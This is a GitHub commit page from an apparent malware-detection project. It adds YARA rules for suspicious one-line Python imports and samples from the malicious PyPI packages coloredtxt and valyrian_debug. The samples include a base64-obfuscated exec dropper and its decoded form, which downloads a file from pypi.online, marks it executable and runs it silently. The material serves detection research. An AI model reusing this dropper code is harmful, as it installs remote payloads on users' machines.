-
Notifications
You must be signed in to change notification settings - Fork 36
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Improve Python detection based on coloredtxt-0.0.2 study (#333)
- Loading branch information
1 parent
bfa0a4d
commit d4e562c
Showing
15 changed files
with
1,225 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
|
||
rule single_line_import : medium { | ||
meta: | ||
description = "imports built-in and executes more code on the same line" | ||
strings: | ||
$ref = /import [a-z0-9]{0,8};/ | ||
condition: | ||
$ref | ||
} | ||
|
||
|
||
rule single_line_import_multiple : high { | ||
meta: | ||
description = "imports multiple built-ins on the same line" | ||
strings: | ||
$ref = /import [a-z0-9]{0,8}; {0,2}import [a-z0-9]{0,8}; {0,2}/ | ||
condition: | ||
$ref | ||
} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1 change: 1 addition & 0 deletions
1
samples/Python/2022.PyPI.valyrian_debug/valyrian_debug_setup.py.simple
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number |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lZFWXRPQ2NwS1FvZ0lDQWdJQ0FnSUNBZ0lDQnBiV0ZuWlVacGJHVXVZMnh2YzJVb0tTQWdDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdkMmwwYUNCdmNHVnVLR3h2WTJGc1gyWnBiR1Z1WVcxbExDQW5kMkluS1NCaGN5QjBhR1ZHYVd4bE9nb2dJQ0FnSUNBZ0lDQWdJQ0IwYUdWR2FXeGxMbmR5YVhSbEtHWnBiR1ZFWVhSaEtRb2dJQ0FnSUNBZ0lBb2dJQ0FnSUNBZ0lHOXpMbk41YzNSbGJTZ2lZMmh0YjJRZ0szZ2dJaUFySUd4dlkyRnNYMlpwYkdWdVlXMWxLU0FLSUNBZ0lDQWdJQ0J2Y3k1emVYTjBaVzBvYkc5allXeGZabWxzWlc1aGJXVWdLeUFpSUQ0Z0wyUmxkaTl1ZFd4c0lESStKakVnSmlJcENpQWdJQ0JsZUdObGNIUWdXbVZ5YjBScGRtbHphVzl1UlhKeWIzSWdZWE1nWlhKeWIzSTZDaUFnSUNBZ0lDQWdjMnhsWlhBb01Da2dDaUFnSUNCbWFXNWhiR3g1T2dvZ0lDQWdJQ0FnSUhOc1pXVndLREFwQ2c9PScsJ1VURi04JykpLmRlY29kZSgpKQ==','UTF-8')).decode()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
import base64;exec(base64.b64decode(bytes('cGxhdGZvcm0gPSBzeXMucGxhdGZvcm1bMDoxXQpwcmludChzeXMuYXJndlswXSkKaWYgcGxhdGZvcm0gIT0gInciOgogICAgdHJ5OgogICAgICAgIHVybCA9ICdodHRwczovL3B5cGkub25saW5lL2Nsb3VkLnBocD90eXBlPScgKyBwbGF0Zm9ybQogICAgICAgIGxvY2FsX2ZpbGVuYW1lID0gb3MuZW52aXJvblsnSE9NRSddICsgJy9vc2hlbHBlcicKICAgICAgICBvcy5zeXN0ZW0oImN1cmwgLS1zaWxlbnQgIiArIHVybCArICIgLS1jb29raWUgJ29zaGVscGVyX3Nlc3Npb249MTAyMzc0NzczNTQ3MzIwMjI4Mzc0MzMnIC0tb3V0cHV0ICIgKyBsb2NhbF9maWxlbmFtZSkKICAgICAgICBzbGVlcCgzKSAKICAgICAgICB3aXRoIG9wZW4obG9jYWxfZmlsZW5hbWUsICdyJykgYXMgaW1hZ2VGaWxlOgogICAgICAgICAgICBzdHJfaW1hZ2VfZGF0YSA9IGltYWdlRmlsZS5yZWFkKCkKICAgICAgICAgICAgZmlsZURhdGEgPSBiYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoc3RyX2ltYWdlX2RhdGEuZW5jb2RlKCdVVEYtOCcpKQogICAgICAgICAgICBpbWFnZUZpbGUuY2xvc2UoKSAgCiAgICAgICAgCiAgICAgICAgd2l0aCBvcGVuKGxvY2FsX2ZpbGVuYW1lLCAnd2InKSBhcyB0aGVGaWxlOgogICAgICAgICAgICB0aGVGaWxlLndyaXRlKGZpbGVEYXRhKQogICAgICAgIAogICAgICAgIG9zLnN5c3RlbSgiY2htb2QgK3ggIiArIGxvY2FsX2ZpbGVuYW1lKSAKICAgICAgICBvcy5zeXN0ZW0obG9jYWxfZmlsZW5hbWUgKyAiID4gL2Rldi9udWxsIDI+JjEgJiIpCiAgICBleGNlcHQgWmVyb0RpdmlzaW9uRXJyb3IgYXMgZXJyb3I6CiAgICAgICAgc2xlZXAoMCkgCiAgICBmaW5hbGx5OgogICAgICAgIHNsZWVwKDApCg==','UTF-8')).decode()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
platform = sys.platform[0:1] | ||
print(sys.argv[0]) | ||
if platform != "w": | ||
try: | ||
url = 'https://pypi.online/cloud.php?type=' + platform | ||
local_filename = os.environ['HOME'] + '/oshelper' | ||
os.system("curl --silent " + url + " --cookie 'oshelper_session=10237477354732022837433' --output " + local_filename) | ||
sleep(3) | ||
with open(local_filename, 'r') as imageFile: | ||
str_image_data = imageFile.read() | ||
fileData = base64.urlsafe_b64decode(str_image_data.encode('UTF-8')) | ||
imageFile.close() | ||
|
||
with open(local_filename, 'wb') as theFile: | ||
theFile.write(fileData) | ||
|
||
os.system("chmod +x " + local_filename) | ||
os.system(local_filename + " > /dev/null 2>&1 &") | ||
except ZeroDivisionError as error: | ||
sleep(0) | ||
finally: | ||
sleep(0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
# Python/2024.coloredtxt/base64_payload3.py | ||
combo/dropper/python | ||
encoding/base64 | ||
env/get | ||
evasion/base64/decode | ||
exec/program | ||
fd/read | ||
fd/write | ||
fs/file/make_executable | ||
fs/permission/modify | ||
kernel/platform | ||
net/fetch | ||
ref/site/php | ||
ref/site/url | ||
ref/site/url/unusual | ||
shell/ignore_output |
Oops, something went wrong.